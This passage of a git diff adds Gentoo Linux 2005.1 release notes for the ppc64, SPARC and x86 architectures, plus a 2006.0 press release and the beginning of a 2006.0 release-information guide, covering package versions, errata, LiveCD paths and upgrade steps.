+        </tr>
+        <tr>
+          <ti>Universal bootable LiveCD</ti>
+          <ti>/releases/ppc/2005.1/installcd/install-ppc-universal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable LiveCD</ti>
+          <ti>/releases/ppc/2005.1/installcd/install-ppc-minimal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD</ti>
+          <ti>/releases/ppc/2005.1/packagecd/$subarch/packages-ppc-2005.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2005.1</title>
+    <body>
+      <p> If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2005.0) there is no need to reinstall. You will
+        automatically get Gentoo 2005.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p> There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2005.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/ppc64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/ppc64-release-notes.xml
new file mode 100644
index 00000000..be0be2a1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/ppc64-release-notes.xml
@@ -0,0 +1,271 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/ppc64-release-notes.xml,v 1.1 2005/08/03 16:25:32 dostrow Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>ppc64 Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="PPC64 Release Co-Coordinator">
+  <mail link="dostrow@gentoo.org">Daniel Ostrow</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-08-03</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo Linux is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo Linux 2005.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo Linux 2005.0</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2005.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo Linux 2005.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200503-18 to 200507-27.  </p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Profile Update</title>
+    <body>
+      <p>With Gentoo Linux 2005.1 the PowerPC teams completed the first steps 
+        to merge the PowerPC 32-bit and PowerPC 64-bit development teams.  
+	This merge results in the use of a common profile. The ppc64 profiles 
+	can be found in
+        <path>/usr/portage/profiles/default-linux/ppc/2005.1/ppc64</path>. You
+	must choose a bit level for your userland. At the moment 32-bit and
+	64-bit are supported, a multilib userland will be supported in the 
+	near future. For each bit level we also support further sub-profiles 
+	for <path>970</path> (the JS20), <path>970/pmac</path> (the G5),
+        <path>power3</path>, <path>power4</path> and <path>power5</path>.  
+	Please update your profile as described in <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+        </tr>
+        <tr>
+          <ti>32-bit userland and external kerenl modules.</ti>
+          <ti>Due to complications that arose from creating a 32-bit userland
+	    external kernel modules will not yet compile and function. The
+	    team is working on rectifying this issue.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>gcc-3.4.4</li>
+        <li>glibc-2.3.4.20041102-r1</li>
+        <li>gentoo-sources-2.6.12-r6</li>
+        <li>vanilla-sources-2.6.12.2</li>
+        <li>portage-2.0.51.22-r2</li>
+        <li>xorg-x11-6.8.2-r2</li>
+        <li>kde-meta-3.4.1</li>
+        <li>xfce4-4.2.2</li>
+      </ul>
+
+      <p>There are several kernels on the LiveCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>G5</ti>
+          <ti>Supports Apple Powermac G5 and iMac G5 machines.</ti>
+        </tr>
+        <tr>
+          <ti>xserv</ti>
+          <ti>Supports Apple xServ G5 machines.</ti>
+        </tr>
+        <tr>
+          <ti>pseries</ti>
+          <ti>Supports IBM pSeries hardware.</ti>
+        </tr>
+        <tr>
+          <ti>ibm-power5</ti>
+          <ti>Supports IBM POWER5 based hardware.
+	    This includes the IBM i5.</ti>
+        </tr>
+        <tr>
+          <ti>js20</ti>
+          <ti>Supports IBM JS20 Blades.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+      <warn>Cascading profiles will only work with Portage >=2.0.51. Make sure
+        to first upgrade to an appropriate version of Portage and <b>then</b>
+        upgrade your profile!</warn>
+
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.0.51.22-r2 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 1.1.10.10. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc64.xml">Gentoo
+          Installation Handbook</uri> in order to get it more in sync with
+        Gentoo 2005.1. Please note that it is a constant work in progress, and
+        if any bugs are encountered, please refer them to the Gentoo Linux
+        bugtracking system at <uri link="http://bugs.gentoo.org" />.  </p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+  <section>
+    <title>Installing Gentoo Linux 2005.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>Each architecture offers three LiveCDs. The first one being a universal
+        bootable LiveCD which can be used to install with or without an Internet
+        connection.  The second LiveCD is a non-bootable subarch-optimized
+        Gentoo Reference Platform (GRP) LiveCD which contains precompiled
+        binaries of popular programs such as X.org-x11 and KDE. The third LiveCD 
+	is a bootable minimal LiveCD that is smaller in size and includes only 
+	the basics needed to simply boot a machine.</p>
+
+      <p>At a minimum, the universal or minimal LiveCD is required to boot the
+        machine and install Gentoo.  The universal LiveCD requires an Internet
+        connection to install from a stage1 installation tarball, but does not
+        require an Internet connection to install from a stage3 installation
+        tarball. The minimal LiveCD requires an Internet connection to install
+        Gentoo Linux.</p>
+
+      <p>There is one kernel available on both bootable cds. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        linux-2.6.12 (vanilla-sources-2.6.12.2).</p>
+
+      <p>The LiveCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>LiveCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Universal bootable LiveCD</ti>
+          <ti>/releases/ppc/2005.1/ppc64/installcd/install-ppc64-universal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable LiveCD</ti>
+          <ti>/releases/ppc/2005.1/ppc64/installcd/install-ppc64-minimal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD</ti>
+          <ti>/releases/ppc/2005.1/ppc64/packagecd/packages-ppc64-64ul-2005.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2005.1</title>
+    <body>
+      <p> If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2005.0) there is no need to reinstall. You will
+        automatically get Gentoo 2005.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p> There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2005.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/sparc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/sparc-release-notes.xml
new file mode 100644
index 00000000..6ae2ae7a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/sparc-release-notes.xml
@@ -0,0 +1,223 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/sparc-release-notes.xml,v 1.1 2005/07/31 14:20:46 gustavoz Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="sparc-release-notes.xml">
+<title>SPARC Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="SPARC Release Coordinator">
+	<mail link="beejay@gentoo.org">Gustavo Zacarias</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>31 July 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2005.0</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200503-18 to 200507-27.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>There's a gpm error when booting on serial console</ti>
+				<ti>You can safely ignore it</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc-3.3.5.20050130-r1</li>
+				<li>glibc-2.3.3.20040420-r2</li>
+				<li>sparc-sources-2.4.31</li>
+				<li>vanilla-sources-2.4.30</li>
+				<li>portage-2.0.51.22-r2</li>
+				<li>xorg-x11-6.8.2-r2</li>
+				<li>kde-3.4.1</li>
+				<li>gnome-2.10-r1</li>
+				<li>fluxbox-0.9.13-r1</li>
+				<li>xfce4-4.2.2</li>
+				<li>openoffice-ximian-1.3.9-r1</li>
+			</ul>
+
+			<p>There is one kernel available on the livecd that will run on both, uniprocessor and smp machines.</p>
+
+			<p>For information about how to change your profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.22-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.10.10. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.4.31 (sparc-sources-2.4.31).</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/sparc/2005.1/sparc64/installcd/install-sparc64-universal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/sparc/2005.1/sparc64/installcd/install-sparc64-minimal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/sparc/2005.1/sparc64/packagecd/packages-sparc64-2005.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.*, 2005.0) there is no need to reinstall. You will automatically get
+			Gentoo 2005.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/x86-release-notes.xml
new file mode 100644
index 00000000..085bd7c2
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/x86-release-notes.xml
@@ -0,0 +1,234 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/x86-release-notes.xml,v 1.2 2005/07/28 18:04:18 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="x86 Release Coordinator">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>28 July 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2005.0</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200503-18 to 200507-27.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly</ti>
+				<ti>Boot using the gentoo-nofb kernel</ti>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			<tr>
+				<ti>Bootsplash doesn't appear for modes below 1024x768</ti>
+				<ti>Modes below 1024x768 are not supported by the splashscreen on the livecd. You
+				should be able to install anyway since it's just eyecandy</ti>
+			</tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.5.20050130-r1</li>
+				<li>glibc-2.3.4.20041102-r1</li>
+				<li>gentoo-sources-2.6.12-r6</li>
+				<li>hardened-sources-2.6.11-r15</li>
+				<li>vanilla-sources-2.6.11.11</li>
+				<li>Portage-2.0.51.22-r2</li>
+				<li>xorg-x11-6.8.2-r2</li>
+				<li>kde-3.4.1</li>
+				<li>gnome-2.10-r1</li>
+				<li>xfce4-4.2.2</li>
+			</ul>
+
+			<p>There is one kernel available on the livecd that will run on both, uniprocessor and smp machines.</p>
+
+			<p>For information about how to change your profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.22-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.10.7. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.12 (gentoo-sources-2.6.12-r6). The alternative kernel, <c>gentoo-nofb</c>, 
+			boots without console framebuffer support. Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2005.1/livecd/universal/install-x86-universal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2005.1/livecd/universal/install-x86-minimal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/x86/2005.1/livecd/$subarch/packages-x86-2005.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.*, 2005.0) there is no need to reinstall. You will automatically get
+			Gentoo 2005.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.0/2006.0-press-release.txt b/xml/htdocs/proj/en/releng/release/2006.0/2006.0-press-release.txt
new file mode 100644
index 00000000..93e58744
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.0/2006.0-press-release.txt
@@ -0,0 +1,69 @@
+The Gentoo Release Engineering team proudly announces the release of
+Gentoo Linux 2006.0. Gentoo Linux 2006.0, the first release in the
+2006 series, represents improvements across many architectures
+since the 2005.1 release.
+
+Major highlights in the release include KDE 3.4.3, GNOME 2.12.2, XFCE
+4.2.2, GCC 3.4.4 and a 2.6.15 kernel. This is also the first release
+with the Gentoo Linux Installer officially debuting on the x86 LiveCD,
+which will fully replace the Universal and PackageCD set. The LiveCD
+also features a fully-fledged Gnome environment. Later releases will
+include KDE support as well as a new LiveDVD.
+
+The PPC64 team has made significant improvements in its release
+media. IBM's hardware donation to the team greatly helped this and
+ensured a smooth release. The CDs feature 64-bit kernels and 32-bit
+userlands rather than the previous pure 64-bit environment. Optimized
+stages are available for the G5 and POWER5 processors, making Gentoo
+the first distribution compile time optimized for the POWER5 processor
+via a power5 profile. The new release includes an experimental CD with
+full framebuffer support for dual-core G5 machines along with thermal
+management features. This makes Gentoo the first to market with
+release media with this level of support.
+
+PPC and PPC64 profiles received further reorganization. They now match
+those of other 32/64-bit architectures such as SPARC and MIPS,
+unifying the look of the tree and allowing easier creation of specific
+profiles (for example, for server use) in the future. The PPC discs
+improve support for newer Apple laptops such as the last series of
+PowerBooks, which 2005.1 did not support, and feature improved
+OldWorld support with BootX on the universal CDs. The PPC team now
+produces the PackageCDs in a G4 and a ppc-generic configuration,
+especially useful for older and slower machines.
+
+The Hardened team is pleased to release both 2.4 and 2.6 kernel
+targeted stages for the x86 platform. The previously experimental
+non-multilib AMD64 stages are now part of the 2006.0 release, while
+Hardened Gentoo with multilib on AMD64 has become possible and the
+team is releasing experimental stages.
+
+The 2006.0 AMD64 release moves EM64T support out of the experimental
+realm. The InstallCDs feature support for NVIDIA SATA and for
+SysKonnect Yukon2 network cards as well as the inclusion of 32-bit Java
+Support. An experimental LiveCD is also available, featuring the Gentoo Linux
+Installer. 
+
+The Alpha team now provides split NPTL profiles as part of the 2006.0
+release -- NPTL must use a 2.6 kernel, and those who require a 2.4
+kernel or do not wish to enable NPTL can use the no-nptl subprofile
+instead to not take advantage of the new threading model. Stage
+tarballs are now provided for both variants, and the InstallCD
+provides both 2.4 and 2.6 kernels.
+
+SPARC has moved to GCC 3.4.5 from the older 3.3 series and also to
+glibc 2.3.5 from 2.3.3 -- the profile features a 2.6 kernel and
+headers. However, this feature remains experimental and the SPARC team
+built the release media with the 2.4 subprofile. Testing from SGI
+Quality Assurance allowed the IA64 team to update its InstallCD to
+boot on SGI Prism machines.
+
+Gentoo Linux is a community-driven project committed to producing a
+high-quality open source distribution; more information regarding this
+release, such as detailed release notes will be available on the
+Gentoo Release Engineering team's project page.
+
+You may obtain Gentoo Linux 2006.0 via our bouncer system[1], or if you prefer,
+contribute to the available bandwith by using our BitTorrent tracker[2].
+
+[1] http://www.gentoo.org/main/en/where.xml
+[2] http://torrents.gentoo.org
diff --git a/xml/htdocs/proj/en/releng/release/2006.0/2006.0.xml b/xml/htdocs/proj/en/releng/release/2006.0/2006.0.xml
new file mode 100644
index 00000000..e5a57a01
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.0/2006.0.xml
@@ -0,0 +1,259 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.0/2006.0.xml,v 1.6 2006/02/27 01:17:21 plasmaroo Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2006.0.xml">
+<title>2006.0 Release Information</title>
+
+<author title="Author">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide serves as the definitive source for all 2006.0 information.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>01 December 2005</date>
+
+<chapter>
+	<title>Goals</title>
+	<section>
+		<body>
+			<p>
+			The primary goal of 2006.0 is to improve the quality of the Gentoo
+			release media by including more drivers.  We are also looking to
+			improve the quality of the build over the last release, which is a
+			recurring goal with every release.
+			</p>
+		</body>
